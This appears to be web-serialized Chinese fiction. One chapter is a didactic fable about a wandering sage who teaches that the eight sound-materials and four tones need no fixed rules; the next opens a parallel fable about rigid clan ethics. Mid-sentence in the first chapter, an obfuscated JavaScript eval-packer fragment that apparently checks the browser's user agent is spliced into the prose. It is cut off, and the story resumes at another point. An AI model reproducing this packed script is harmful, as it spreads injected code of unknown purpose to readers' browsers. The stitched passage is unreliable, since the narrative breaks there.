又指一旁歌者：“至于四声，平声必平直，上声必上扬，去声必下降，入声必短促。平仄相对，抑扬顿挫，不可淆乱。歌诗必依《切韵》，吟诵必守《广韵》，一字不可讹！” 台下“清音坊”的琴师叹道：“钟乐正说得是！咱们习乐几十年，从不敢乱了法度。前街李笙师用葫芦做笙，被乐正斥为‘不遵古制’，笙都被砸了！” “妙声斋”的歌者附和道：“上月西市王歌者唱《采薇》，将上声唱作平声，被行家说‘四声淆乱’，当场轰下台来！” 钟守律面露得色，正要再言，阁前老梧桐树下传来一个清越声音：“此言谬矣。” 众人望去，见树下立着一人。斗笠是细竹与蕉叶混编，檐边垂着几缕风干的兰草。白衣是粗葛所制，浆洗得挺括，衣摆处有细密的靛蓝补丁。腰间悬一柄木剑，剑柄缠着褪色的五色丝绦。面上蒙着本色麻纱，只露出一双明澈如深潭映月的眼睛。 钟守律眉头微皱：“这位先生，谬在何处？” “匏土革，木石金。丝与竹，乃八音。曰平上，曰去入。此四声，宜调协。”那人缓步上台，对众人略一拱手，“此话不错。然钟乐正说‘八音必遵古制，四声必守旧韵’，却是错了。” “错了？”钟守律不悦，“八音制法，四声韵律，皆载于《周礼》《乐书》，岂能有错？” “八音是音，耳所闻，是实。四声是声，口所出，亦是实。”那人道，“然音是音，声是声，本无定法，本无定韵。匏可是匏，土可是土，革可是革，木可是木，石可是石，金可是金，丝可是丝，竹可是竹。平可是平，上可是上，去可是去，入可是入。人以耳听音，以口出声，本乎自然。强定制法，强守旧韵，是人为之枷锁，非音声之本然。” 他走到乐器台前，指着一排笙：“钟乐正说匏笙必用瓠为体，竹为管。然我见南疆有葫芦笙，以葫芦为斗，芦竹为管，其声清越；北地有木斗笙，以木为斗，竹为管，其声浑厚。同是匏音，因地而异，因材而变，岂可必以瓠为体、竹为管为定法？” 又指土埙：“土埙必用陶为体，三孔为制？我见西域有胡埙，以泥为体，五孔为制，其声苍凉；东海有贝埙，以海螺为体，无孔而鸣，其声幽远。同是土音，因物而异，因法而变，岂可必以陶体三孔为定则？” 再指丝弦：“丝弦必用蚕丝，五弦为琴，七弦为瑟？我见岭南有马尾弦，以马尾为弦，其声铿锵；漠北有筋弦，以兽筋为弦，其声沉厚。同是丝音，因材而异，因用而变，岂可必以蚕丝五弦七弦为铁律？” 他转向歌者：“至于四声，更是如此。平声必平直，上声必上扬，去声必下降，入声必短促？我闻北人语平声多曲折，南人语上声多平缓，西人语去声多上扬，东人语入声多悠长。声随方言而异，因习而变，岂可强守《切韵》《广韵》？音只是音，声只是声。以法定音，以韵束声，是以虚妄缚实相，以旧规困天然。” 钟守律面色微变：“那八音制法、四声韵律……” “八音制法，当因材而宜；四声韵律，当因语而变。”那人声音平和，“匏可是匏，葫芦可为斗，木亦可为斗，竹可为管，芦亦可为管。土可是土，陶可为埙，泥亦可为埙，贝亦可为埙。革可是革，夔皮可为鼓，牛皮亦可为鼓，羊皮亦可为鼓。木可是木，梓木可为柷，桐木亦可为柷，杉木亦可为柷。石可是石，泗滨石可为磬，他山之石亦可为磬。金可是金，青铜可为钟，铁亦可为钟，铜亦可为钟。丝可是丝，蚕丝可为弦，马尾亦可为弦，兽筋亦可为弦。竹可是竹，湘竹可为笛，苦竹亦可为笛，紫竹亦可为笛。制法在得音，不在拘材；音色在和谐，不在合古。” 他顿了顿，又道：“至于四声，平可是平，上扬可为平，曲折亦可为平。上可是上，平缓可为上，起伏亦可为上。去可是去，下降可为去，上扬亦可为去。入可是入，短促可为入，悠长亦可为入。韵律在调协，不在守旧；歌吟在达意，不在合韵。” 钟守律额角见汗，强撑道：“你……你这是悖逆礼乐！《周礼》有云：‘大师掌六律、六同，以合阴阳之声。皆文之以五声，皆播之以八音。’《乐记》有云：‘声成文，谓之音。’八音制法，四声韵律，乃圣人所定，岂容更易？” “《周礼》所云八音，是言音之种类，非是言音之制法。《乐记》所云声成文，是言声之和谐，非是言声之定韵。”那人从怀中取出一卷帛书，展开示众，“此乃《诗经》国风篇：‘关关雎鸠，在河之洲。’‘窈窕淑女，君子好逑。’又汉乐府：‘江南可采莲，莲叶何田田。’皆不拘旧韵，自然成诗。至于八音，《尚书·舜典》云：‘夔曰：於！予击石拊石，百兽率舞。’石可击可拊，岂在定法？音在和谐，声在达意，岂在拘泥？” 众人围观，果见帛书有载。 钟守律踉跄一步，扶住案几，喃喃道：“音在和谐，声在达意……岂在拘泥……” 人群中哗然。有那走南闯北的乐工叹道：“这位先生说得是！我在西域见过胡笳，以芦为管，其声悲怆，哪要什么湘竹六孔？” “我在南越听过铜鼓，以铜为体，其声雄浑，何必非是夔皮？” “咱们这儿山里人唱歌，四声跟城里人不一样，可好听哩！” “可不是么！我师父制琴，用马尾弦，声如裂帛，比蚕丝弦还劲道！” 那人点头：“正是。八音是音，本无定法；四声是声，本无定韵。制乐之道，因材而宜，因用而变；歌吟之要，因语而异，因情而发。匏可是匏，土可是土，革可是革，木可是木，石可是石，金可是金，丝可是丝，竹可是竹。平可是平，上可是上，去可是去，入可是入。顺材顺用，顺语顺情，方是音声之道。” 他转向钟守律：“钟乐正精于音律，是匠心。然以古制为枷锁，强定八音制法，强守四声旧韵，是过矣。制乐不因材因宜变法，是呆制；歌吟不因语因情达意，是愚歌。此非守礼重乐，乃悖逆自然也。” 钟守律冷汗涔涔，无言以对。 那人拱手道：“今日多言，望列位明理：匏土革木石金丝竹，此八音，耳所闻。平上去入，此四声，口所出。音是音，声是声，本无定法定韵。制乐当因材因宜变法，歌吟当因语因情达意。顺其自然，和谐为美，方是音声之道。” 说罢，转身欲下台。 “先生留步！”钟守律颤巍巍深揖一礼，“先生一席话，如清钟震耳。钟某拘泥古制，以虚妄缚实相，以旧规困天然，误人误己。敢问先生高姓大名？” “我姓音，名真，字和之。” “音真和之……”钟守律喃喃，忽问，“先生这《诗经》《乐府》篇，可否借某一观？” “可。”音真和之递过帛书，“此帛可传阅，然需切记：八音是造化，耳所闻；四声是人性，口所出。制乐在和谐，不在拘法；歌吟在达意，不在守韵。强定制法，强守旧韵，是以虚妄困天然，非是圣贤本意。” 钟守律双手接过，如获至宝。 音真和之又对众人道：“道理在此，列位可思可悟。然需切记：耳听八音，不如亲制；口说四声，不如亲歌。匏土革木石金丝竹，平上去入，皆在眼前。制其器，歌其声，和其韵，方是真知。” 说罢，他戴上斗笠，走下高台。蕉叶斗笠在日光下泛着青碧，粗葛白衣的下摆扫过八音阁前的石板地，不惹一丝尘埃。 一、 钟守律的悔悟 音真和之走后，钟守律在高台上呆立良久。他展开《诗经》《乐府》篇，细读“关关雎鸠，在河之洲”、“江南可采莲，莲叶何田田”等句，又回想音真和之所言，越思越心惊。 “我误人误己三十载啊！” 他想起自己执掌八音阁三十年，总以“八音必遵古制，四声必守旧韵”为圭臬。见人用葫芦制笙，便斥为“不遵古制”；见人用牛皮蒙鼓，便讥为“不合礼法”；见人用马尾为弦，便贬为“不正”；见人歌吟不拘《切韵》，便斥为“淆乱”。有乐工制五孔胡埙，他说“埙必三孔”；有歌者以方言吟唱，他说“四声必守旧韵”。却不知，音只是音，声只是声。以法定音，以韵束声，是以虚妄缚实相，以旧规困天然。 “那位先生说得好，八音是造化，耳所闻；四声是人性，口所出。制乐之道，在和谐，不在拘法；歌吟之要，在达意，不在守韵。我强定制法，强守旧韵，岂不是以虚妄困天然、以旧规碍变化？” 他羞愧难当，当即将《乐经》收起，将《诗经》《乐府》篇悬于八音阁，对还未散去的众人深揖一礼。 “钟某拘泥古制，误人误己。从今日起，钟某当闭门思过，重研音声，再不固守成法、强定制法旧韵！” 众人见他诚恳，便劝道：“钟乐正知错能改，善莫大焉。只是这八音四声之道，咱们还想听正解。” 钟守律便道：“《诗》《乐府》在此，列位可随意观览。钟某每旬在此讲解，与列位共悟！” 从此，每逢旬日，钟守律便在八音阁开讲八音四声新义。他不再说“八音必遵古制，四声必守旧韵”，而是讲解八音之实、四声之真、音声之和。他结合琴川镇实际，讲匏、土、革、木、石、金、丝、竹的因材而制、因用而变，讲平、上、去、入的因语而异、因情而发。 “列位，匏是匏音，本无定法。瓠可为斗，葫芦亦可为斗，木亦可为斗；竹可为管，芦亦可为管，苇亦可为管。当因材而制，因用而变，得音为要，不必拘泥必用瓠斗竹管。” “土是土音，本无定制。陶可为埙，泥亦可为埙，贝亦可为埙；三孔可为埙，五孔亦可为埙，无孔亦可为埙。当因物而制，因用而变，得音为要，不必拘泥必用陶体三孔。” “革是革音，本无定料。夔皮可为鼓，牛皮亦可为鼓，羊皮亦可为鼓；桐木可为腔，他木亦可为腔。当因材而制，因用而变，得音为要，不必拘泥必用夔皮桐木。” “木是木音，本无定材。梓木可为柷，桐木亦可为柷，杉木亦可为柷；三尺可为度，二尺亦可为度，四尺亦可为度。当因材而制，因用而变，得音为要，不必拘泥必用梓木三尺。” “石是石音，本无定石。泗滨石可为磬，他山之石亦可为磬；十六枚可为套，十二枚亦可为套，二十枚亦可为套。当因材而制，因用而变，得音为要，不必拘泥必用泗滨石十六枚。” “金是金音，本无定金。青铜可为钟，铁亦可为钟，铜亦可为钟；十二律可为套，七律亦可为套，五律亦可为套。当因材而制，因用而变，得音为要，不必拘泥必用青铜十二律。” “丝是丝音，本无定丝。蚕丝可为弦，马尾亦可为弦，兽筋亦可为弦；五弦可为琴，七弦可为琴，九弦亦可为琴。当因材而制，因用而变，得音为要，不必拘泥必用蚕丝五弦七弦。” “竹是竹音，本无定竹。湘竹可为笛，苦竹亦可为笛，紫竹亦可为笛；六孔可为笛，七孔亦可为笛，五孔亦可为笛。当因材而制，因用而变，得音为要，不必拘泥必用湘竹六孔。” 他顿了顿，续道：“至于四声，更是如此。平是平声，本无定调。平直可为平，曲折亦可为平，上扬亦可为平，当因语而异，因情而发，达意为要。上是上声，本无定势。上扬可为上，平缓亦可为上，起伏亦可为上，当因语而异，因情而发，达意为要。去是去声，本无定势。下降可为去，上扬亦可为去，转折亦可为去，当因语而异，因情而发，达意为要。入是入声，本无定长。短促可为入，悠长亦可为入，拖曳亦可为入，当因语而异，因情而发，达意为要。四声是声，达意为要，调协为美，不必强守旧韵。” 他讲得通透，众人听得豁然开朗。有那曾因“音不合制”、“声不守韵”被训斥、被讥笑的乐工歌者，感慨万千。 “原来八音四声，得这么看！” “是啊，制乐得看材料、看用途，不能光按古法！” “歌吟得看方言、看情感，不能光守旧韵！” “钟乐正这么一讲，咱们就明白了！” 钟守律在八音阁前立了块木牌，上书：“匏土革，木石金。丝与竹，乃八音。曰平上，曰去入。此四声，宜调协。然音无定法，声无定韵。制乐当因材因宜变法，歌吟当因语因情达意。顺其自然，和谐为美，方是音声之道。” 二、 百姓的醒悟 钟守律在八音阁讲八音四声新义，琴川镇的百姓渐渐醒悟。 从前，他们以为八音有定法、四声有定韵：匏笙必用瓠斗竹管，土埙必用陶体三孔，革鼓必用夔皮桐木，木柷必用梓木三尺，石磬必用泗滨石十六枚，金钟必用青铜十二律，丝弦必用蚕丝五弦七弦，竹笛必用湘竹六孔。平声必平直，上声必上扬，去声必下降，入声必短促。制乐必遵古法，歌吟必守旧韵。结果，制乐呆板，歌吟拘束，音声失和。 如今，他们明白了：八音只是音，本无定法；四声只是声，本无定韵。制乐之道，因材而宜，因用而变；歌吟之要，因语而异，因情而发。匏可是匏，葫芦可为斗，木亦可为斗；土可是土，陶可为埙，泥亦可为埙；革可是革，夔皮可为鼓，牛皮亦可为鼓；木可是木，梓木可为柷，桐木亦可为柷；石可是石，泗滨石可为磬，他山之石亦可为磬；金可是金，青铜可为钟，铁亦可为钟；丝可是丝，蚕丝可为弦，马尾亦可为弦；竹可是竹，湘竹可为笛，苦竹亦可为笛。平可是平，上扬可为平，曲折亦可为平；上可是上，平缓可为上，起伏亦可为上；去可是去，下降可为去，上扬亦可为去；入可是入，短促可为入，悠长亦可为入。顺材顺用，顺语顺情，方是音声之要。 “原来八音四声，得这么用！” “可不是么！我用葫芦制笙，声儿清亮，何必非用瓠斗？” “我用牛皮蒙鼓，声儿浑厚，何必非用夔皮？” “我用马尾为弦，声儿劲道，何必非用蚕丝？” “咱们山里人唱歌，就按山里调子，好听！何必非守《切韵》？” 有那吃过亏的，现身说法，劝人莫要“固守制法”、“强守旧韵”。有那开明的，开始践行“因材因宜变法”、“因语因情达意”的新道。 乐工制器，看材料、看用途，不拘古法；歌者吟唱，看方言、看情感，不拘旧韵。 镇上的音声，为之一新。呆板的少了，灵动的多了；拘束的少了，自然的多了。 钟守律在八音阁，将百姓践行八音四声新道的事一一记录，成《琴川八音四声新事》。他携此册，奔走于乡邻之间，倡行“因材因宜变法”、“因语因情达意”之道。 乡邻们见钟守律变了，也渐改前非。有那曾因“固守制法”乐器不佳的，如今看材制器，音色更美；有那曾因“强守旧韵”歌吟失味的，如今以方言吟唱，情感更真。 八音四声新道，渐入人心。 三、 《诗》《乐府》的流传 钟守律倡八音四声新道之事，渐传周边。附近乡镇的乐工、歌者、教习，闻讯来琴川镇取经。钟守律便将《诗经》《乐府》篇借出传抄，更将《琴川八音四声新事》广为散发。 “八音是音，本无定法；四声是声，本无定韵。此理通行天下。” “制乐当因材因宜变法，歌吟当因语因情达意。顺其自然，和谐为美。” “琴川新事，可供参考。但各地物产不同，方言有异，当因地制宜。” 抄书者、传册者，回去后亦在本地宣讲。有那开明的乐工、歌者、教习，亦加入其中。一时间，“音无定法，声无定韵，制乐看材料，歌吟看方言”之理，传遍州县。 有那固执的老乐工，初闻此理，斥为“悖逆古制”。但见百姓践行，乐器更佳，歌吟更美，也渐改观念。有那曾因固守古法失音的，闻此理如获至宝。 音真和之的名声，渐渐在州县传开。都说有位戴蕉叶斗笠、蒙麻纱的高人，深明八音四声，点破迷障，使人明“音无定法，声无定韵”之理，知“制乐看材料，歌吟看方言”之道。 四、 三年后的朔日 三年后的一个朔日，八音阁前又聚满了人。不仅有琴川镇的百姓，还有周边乡镇的乡民。 钟守律正在讲解“匏土革，木石金。丝与竹，乃八音。曰平上，曰去入。此四声，宜调协”。 “……故曰：八音是造化，耳所闻；四声是人性，口所出。匏可是匏，土可是土，革可是革，木可是木，石可是石，金可是金，丝可是丝，竹可是竹。平可是平，上可是上，去可是去，入可是入。本无定法，本无定韵。制乐之道，在和谐，不在拘法。因材而宜，因用而变，顺其自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他又问：“然八音四声之用，易入两歧：一曰泥古，二曰妄为。泥古者，固守成法，强定制法旧韵；妄为者，不辨音律，胡乱施为。此又当如何？” 众人肃然。钟守律道：“先生所言极是！八音四声之用，贵在和谐。泥古则呆，妄为则乱。顺其自然，因材因宜变法；合其人性，因语因情达意。方是正道。” “正是。”音真和之道，“八音如八风，有常调，亦有变奏。守常调，可知宫商角徵羽；通变奏，可成万千妙音。若死守常调，不知变通，是呆；若无视常调，胡乱施为，是乱。顺自然，合人性，和谐达意，方是妙音。” 他转向众人：“列位当谨记：制匏音，当知匏是匏，可瓠斗可葫芦斗，可竹管可芦管，顺材顺用为美。制土音，当知土是土，可陶埙可泥埙，可三孔可五孔，顺材顺用为美。制革音，当知革是革，可夔皮可牛皮，可桐木可他木，顺材顺用为美。制木音，当知木是木，可梓木可桐木，可三尺可四尺，顺材顺用为美。制石音，当知石是石，可泗滨石可他山石，可十六枚可十二枚，顺材顺用为美。制金音，当知金是金，可青铜可铁，可十二律可七律，顺材顺用为美。制丝音，当知丝是丝，可蚕丝可马尾，可五弦可七弦，顺材顺用为美。制竹音，当知竹是竹，可湘竹可苦竹，可六孔可七孔，顺材顺用为美。歌平声，当知平是平，可平直可曲折，顺语顺情为美。歌上声，当知上是上，可上扬可平缓，顺语顺情为美。歌去声，当知去是去，可下降可上扬，顺语顺情为美。歌入声，当知入是入，可短促可悠长，顺语顺情为美。音只是音，声只是声，制其器，歌其声，和其韵，方是正道。” 众人齐声道：“谨记先生教诲！” 音真和之从怀中取出一卷书，递给钟守律：“此乃《八音四声宜用录》，是我游历各地，记录音声用法、和谐得失之鉴所编。你可传抄于众，供百姓参考。” 钟守律双手接过，如获至宝。 音真和之又对众人道：“此书可参阅，但需切记：八音四声之道，在制在歌。制百器不如制一器，歌百曲不如歌一曲。匏土革木石金丝竹，平上去入，皆在眼前。制其器，歌其声，和其韵，方是真知。” 说罢，他戴上斗笠，转身走入人群。蕉叶斗笠在日光下泛着青碧，粗葛白衣的下摆扫过八音阁前的石板地，不惹一丝尘埃。 钟守律对着那背影深深一揖，久久不起。 百姓们也纷纷作揖。 尾声·八音谣 多年后，琴川镇的孩童玩耍时，会唱一首童谣： 匏土革木石金丝，八音原来是造化。 平上去入四声韵，口出自然成歌谣。 钟师强分法与韵，制乐歌吟皆成枷。 音真先生来点化，音声本真顺自然。 从此制乐看材料，歌吟随性达真情。 葫芦为笙声清越，牛皮蒙鼓韵浑厚。 方言吟唱最动听，和谐达意是妙音。 有外乡人听了，问镇里老人：“这音真先生是何人？” 老人便会指着八音阁说：“是位教人明八音四声、知和谐达意的先生。他来了，钟乐正知错了，百姓醒悟了，咱们镇知道音无定法、声无定韵了。” “他现在何处？” “不知道。教完道理，他就走了。” “还会回来么？” “等咱们又固守成法、强守旧韵的时候，他大概就会回来吧。” 外乡人若有所思，走到八音阁前。阁前悬着《诗经》《乐府》篇与《琴川八音四声新事》，木牌上刻着数字：“匏土革，木石金。丝与竹，乃八音。曰平上，曰去入。此四声，宜调协。”下面还有一行小字：“然音无定法，声无定韵。制乐当因材因宜变法，歌吟当因语因情达意。顺其自然，和谐为美，方是音声之道。” 也许那位音真先生，正在某个地方，听人制八音、歌四声吧。他想。 他走出八音阁，暮色四合。阁里传出乐声，匏笙清越，土埙苍凉，革鼓雄浑，木柷沉厚，石磬清脆，金钟悠扬，丝弦婉转，竹笛嘹亮。街边歌者以方言吟唱，平上去入，自然成韵。八音四声之道，看似高深，实则就在这乐工制器、歌者吟唱之中。 本章诫世 一、 八音四声真义训 - 匏土革，木石金。丝与竹，乃八音。曰平上，曰去入。此四声，宜调协 - 破解法：为乐者，自问“可固守古法？可知音无定法、声无定韵？可曾因材因宜变法、因语因情达意？”；为歌者，自问“可强守旧韵？可知音声本真？可曾顺自然、合人性？” 二、 三谬三正 - 钟守律之谬在“泥古”——以古制为铁则，固守八音制法，强定四声旧韵 - 世俗之谬在“拘方”——以八音有定法，以四声有定韵，拘束制乐歌吟 - 百姓之谬在“盲从”——不知音声本真，盲目遵从，音声失和 - 三正：钟守律倡八音四声新道，百姓明音声本真，琴川行和谐之道 三、 和之大道 - 深层隐喻：匏土革木石金丝竹，八音是造化，耳所闻；平上去入，四声是人性，口所出。音只是音，声只是声，本无定法，本无定韵。制乐之道，在和谐，不在拘法；因材而宜，因用而变，顺其自然，方是正理。歌吟之要，在达意，不在守韵；因语而异，因情而发，合其人性，方是真要。强定制法，是以虚妄缚实相；强守旧韵，是以旧规困天然；强分音声，是以成法碍变化 - 终极指向：世人制乐歌吟，易入两歧：一曰泥古，二曰妄为。泥古则呆，妄为则乱。八音是音，四声是声，本无定法定韵。制乐当因材因宜变法，不拘古法；歌吟当因语因情达意，不拘旧韵。顺其自然，合其人性，和谐达意，方是音声真道。音在制，不在说；声在歌，不在守；和在谐，不在固 八音四声偈： 琴川八音钟守律，强分古法与旧韵。 制乐歌吟皆成枷，百姓闻之不知音。 音真先生来点化，音声本真顺自然。 从此制乐看材料，歌吟随性达真情。 后世叹： 匏土革木石金丝，八音造化耳所闻。 平上去入四声韵，口出自然宜调协。 钟师泥古分法韵，制乐歌吟皆成规。 音真先生来点化，音声宜用顺自然。 三载和谐新气象，琴川百姓音声真。 正是： 琴川阁前说音声，钟师泥古分法韵。 八音制法皆成规，四声旧韵束歌吟。 音真先生来点破，音声本真顺自然。 从此制乐看材料，歌吟随性谐真情。 108.九族十义谳 楔子·族规铁索 雍州城“九族祠”乃此地第一大族，族长曾守伦，执掌祠事三十载。每逢望日，曾守伦必在祠前高台开讲“九族十义之理”。这日正值望日，祠前已聚了不少族人、乡邻。曾守伦头戴方巾，身着绣“祥云纹”的赭色族长服，手持一部《族规》，对众人朗声道： “……故曰：人有九族，高、曾、祖、父、己、子、孙、玄、曾。此九族，乃人伦之正序。又有十义，父子有恩，夫妇有从，兄友弟恭，长幼有序，友朋有信，君敬臣忠。此十义，乃人伦之正理。此乃宗法纲常，不可紊乱也！” 台下男女老少，纷纷垂首。 曾守伦捻须续道：“故而为人子者，必当孝父；为人父者，必当严子。为人妻者，必当从夫；为人夫者，必当主妻。为人弟者，必当恭兄；为人兄者，必当友弟。长幼必有序，友朋必有信，君必敬臣，臣必忠君。此乃天经地义，不可更易！” 他指着祠前陈列的族谱：“高曾祖在上，父辈在中，己身在位，子孙在下。序不可乱，位不可移。父子恩，必是父严子孝；夫妇从，必是夫唱妇随；兄则友，必是兄宽弟让；弟则恭，必是弟顺兄慈。长幼必尊卑有序，友朋必信义相交，君必敬臣如手足，臣必忠君如心腹。此十义，人所同遵，当顺叙，勿违背！” 台下“仁和堂”的曾三爷叹道：“族长说得是！咱们曾家世代守礼，从不敢乱了人伦。前街曾老五，让儿子主家事，被族长斥为‘子僭父位’，差点从族谱除名！” “义安坊”的曾四娘附和道：“上月西巷曾二姐，丈夫病故，她竟要改嫁，被族老说‘妇不从一’，祠堂都不让进了！” 曾守伦面露得色，正要再言，祠前老槐树下传来一个清朗声音：“此言谬矣。” 众人望去，见树下立着一人。斗笠是细篾与蒲叶混编，檐边垂着几缕风干的菖蒲。白衣是粗麻所制，浆洗得挺括，衣摆处有细密的靛青补丁。腰间悬一柄木剑，剑柄缠着褪色的五色丝绦。面上蒙着本色棉纱，只露出一双明澈如秋水的眼睛。 曾守伦眉头微皱：“这位先生，谬在何处？” “高曾祖，父而身。身而子，子而孙。自子孙，至玄曾。乃九族，人之伦。父子恩，夫妇从。兄则友，弟则恭。长幼序，友与朋。君则敬，臣则忠。此十义，人所同。当顺叙，勿违背。”那人缓步上台，对众人略一拱手，“此话不错。然曾族长说‘九族必依序，十义必遵规’，却是错了。” “错了？”曾守伦不悦，“九族之序，十义之理，载于《礼记》《家训》，岂能有错？” “九族是人伦，亲所系，是实。十义是人理，情所归，亦是实。”那人道，“然序是序，理是理，本无常法，本无定规。高可是高，曾可是曾，祖可是祖，父可是父，身可是身，子可是子，孙可是孙，玄可是玄，曾可是曾。父子可有恩，夫妇可有从，兄可有友，弟可有恭，长幼可有序，友朋可有信，君可有敬，臣可有忠。人以亲系伦，以情归理，本乎自然。强定序位，强遵规条，是人为之枷锁，非人伦之本然。” 他转向族谱：“曾族长说高曾祖在上，父辈在中，己身在位，子孙在下，序不可乱，位不可移。然我见东海渔村，子早当家，父从子议，家业兴旺；西陲牧户，孙主家事，祖从孙策，畜群繁盛。同是人伦，因地而异，因势而变，岂可必以上下为定序？” 又指夫妇之道：“夫妇从，必是夫唱妇随？我见南境有渔家，夫妇同舟，共议渔事；北地有猎户，夫妇并辔，同商猎策。同是夫妇，因业而异，因情而变，岂可必以夫主妇从为定规？” 再指兄弟之义：“兄则友，弟则恭，必是兄宽弟让？我见东市有商贾兄弟，兄精于贾，弟从兄学；西街有工匠兄弟，弟巧于工，兄从弟习。同是兄弟，因能而异，因才而变，岂可必以兄友弟恭为定式？” 他看向众人：“至于长幼有序，友朋有信，君敬臣忠，亦是如此。长可是长，幼可是幼，序在德能，不在年齿。友可是友，朋可是朋，信在真心，不在形式。君可是君，臣可是臣，敬在道义，忠在公道。人伦是人伦，情理是情理，顺其自然，合其人情，方是正理。强定序位，强遵规条，是以虚妄缚实相，以旧规困人情。” 曾守伦面色微变：“那九族之序、十义之理……” “九族之序，当因情而定；十义之理，当因事而宜。”那人声音平和，“高可是高，曾可是曾，祖可是祖，父可是父，身可是身，子可是子，孙可是孙，玄可是玄，曾可是曾。序在亲亲，不在上下；伦在情义，不在尊卑。父子可有恩，严可是恩，慈亦是恩；夫妇可有从，从夫可是从，从妇亦可是从；兄可有友，宽让可是友，切磋亦是友；弟可有恭，顺让可是恭，谏诤亦是恭。长幼有序，序在德能，不在年齿；友朋有信，信在真心，不在虚礼；君敬臣忠，敬在道义，忠在公道。人伦之理，在合人情，不在守旧规；十义之要，在顺事理，不在遵铁律。” 曾守伦额角见汗，强撑道：“你……你这是悖逆人伦！《礼记》有云：‘亲亲，尊尊，长长，男女有别，人道之大者也。’《家训》有云：‘父慈子孝，夫义妇听，兄良弟悌。’九族之序，十义之理，乃圣人所定，岂容更易？” “《礼记》所云亲亲尊尊，是言人伦之重，非是言序位之固。《家训》所云父慈子孝，是言情理之宜，非是言规条之死。”那人道，“我闻古时尧让位于舜，舜让位于禹，是贤者在位，非必子承父业。又闻古时孟母三迁，是母教子贤，非必父严子孝。人伦在情义，不在序位；十义在公道，不在规条。顺人情，合事理，方是正理。强定序位，强遵规条，是以虚妄困人情，非是圣贤本意。” 众人窃窃私语。有那走南闯北的行商叹道：“这位先生说得是！我在东海见过，儿子当家，老父从子，父子和睦，家业兴旺！” “我在西陲见过，孙子主事，祖父从孙，爷孙同心，畜群繁盛！” “南境渔家，夫妇同议，有商有量，渔船满仓！” “东市兄弟，能者主事，兄从弟策，生意兴隆！” 曾守伦踉跄一步，扶住案几，喃喃道：“人伦在情义，不在序位……十义在公道，不在规条……” 人群中哗然。有那受族规所苦的族人低声道：“可不是么！我爹年迈，我当家理事，却被说‘子僭父位’！” “我夫病故，我想改嫁谋生，却被说‘妇不从一’！” “我弟比我精明，我让他主家，却被说‘兄失其位’！” 那人点头：“正是。九族是人伦，本无常序；十义是人理，本无定规。为人子者，可孝父，亦可谏父；为人父者，可严子，亦可从子。为人妻者，可从夫，亦可辅夫；为人夫者，可主妻，亦可敬妻。为人弟者，可恭兄，亦可助兄；为人兄者，可友弟，亦可学弟。长幼有序，序在德能；友朋有信，信在真心；君敬臣忠，敬在道义，忠在公道。顺人情，合事理，方是人伦之道。” 他转向曾守伦：“曾族长重人伦，是正道。然以旧规为枷锁，强定九族序位，强遵十义规条，是过矣。序位不因情而定，是呆序；情理不因事而宜，是愚理。此非守礼重伦，乃悖逆人情也。” 曾守伦冷汗涔涔，无言以对。 那人拱手道：“今日多言，望列位明理：高曾祖父身子孙玄曾，此九族，亲所系。父子夫妇兄弟长幼友朋君臣，此十义，情所归。序是序，理是理，本无常法定规。人伦当因情而定序，十义当因事而宜理。顺其人情，合其事理，方是人伦之道。” 说罢，转身欲下台。 “先生留步！”曾守伦颤巍巍深揖一礼，“先生一席话，如清泉涤心。曾某拘泥旧规，以虚妄缚实相，以铁律困人情，误人误己。敢问先生高姓大名？” “我姓伦，名真，字和之。” “伦真和之……”曾守伦喃喃，忽问，“先生这尧舜孟母之事，可否详说？” “可。”伦真和之道，“尧让舜，是贤者在位，非必子承；舜让禹，亦是如此。孟母三迁，是母教子贤，非必父严。人伦在情义，不在序位；十义在公道，不在规条。顺人情，合事理，方是正理。强定序位，强遵规条，是以虚妄困人情，非是圣贤本意。” 曾守伦拱手道：“愿闻其详。” 伦真和之便对众人道：“道理在此，列位可思可悟。然需切记：亲在九族，不如亲在情义；义在十伦，不如义在公道。高曾祖父身子孙玄曾，父子夫妇兄弟长幼友朋君臣，皆在眼前。亲其亲，义其义，顺人情，合事理，方是真知。” 说罢，他戴上斗笠，走下高台。蒲叶斗笠在日光下泛着青翠，粗麻白衣的下摆扫过九族祠前的石板地，不染一丝尘埃。 一、 曾守伦的悔悟 伦真和之走后，曾守伦在高台上呆立良久。他回想尧舜禅让、孟母三迁之事，又思伦真和之所言，越思越心惊。 “我误人误己三十载啊！” 他想起自己执掌九族祠三十年，总以“九族必依序，十义必遵规”为圭臬。见子当家，便斥为“子僭父位”；见妇改嫁，便讥为“妇不从一”；见弟主事，便贬为“兄失其位”；见友争论，便斥为“友朋失和”。有父从子议，他说“父失其尊”；有夫从妻策，他说“夫失其主”；有兄从弟学，他说“兄失其序”。却不知，序只是序，理只是理。以旧规定序，以铁律束理，是以虚妄缚实相，以枷锁困人情。 “那位先生说得好，九族是人伦，本无常序；十义是人理，本无定规。人伦之道，在顺人情，不在守旧规；十义之要，在合事理，不在遵铁律。我强定序位，强遵规条，岂不是以虚妄困人情、以铁律碍事理？” 他羞愧难当，当即将《族规》收起，对还未散去的众人深揖一礼。 “曾某拘泥旧规，误人误己。从今日起，曾某当闭门思过，重研人伦，再不固守成规、强定序位铁律！” 众人见他诚恳，便劝道：“曾族长知错能改，善莫大焉。只是这九族十义之道，咱们还想听正解。” 曾守伦便道：“尧舜孟母之事在此，列位可细思。曾某每旬在此讲解，与列位共悟！” 从此，每逢旬日，曾守伦便在九族祠开讲九族十义新义。他不再说“九族必依序，十义必遵规”，而是讲解九族之实、十义之真、人伦之和。他结合雍州城实际，讲高、曾、祖、父、身、子、孙、玄、曾的因情而定、因势而变，讲父子、夫妇、兄弟、长幼、友朋、君臣的因事而宜、因理而发。 “列位，高是高亲，本是尊长，然尊在德，不在年。若高亲无德，不必盲从；若高亲有德，自当敬重。序在情理，不在辈分。” “曾是曾亲，本是近亲，然亲在义，不在血。若曾亲无义，不必强亲；若曾亲有义，自当亲近。伦在情义，不在血缘。” “祖是祖亲，本是尊长，然尊在恩，不在位。若祖亲有恩，自当孝敬；若祖亲无恩，亦当礼待。序在恩义，不在尊卑。” “父是父亲，本是严君，然严在教，不在威。若父教有方，自当听从；若父教无方，亦可谏诤。恩在教导，不在威严。” “身是己身，本是本位，然位在责，不在权。若身有责，自当承担；若身无能，亦可让贤。位在责任，不在权势。” 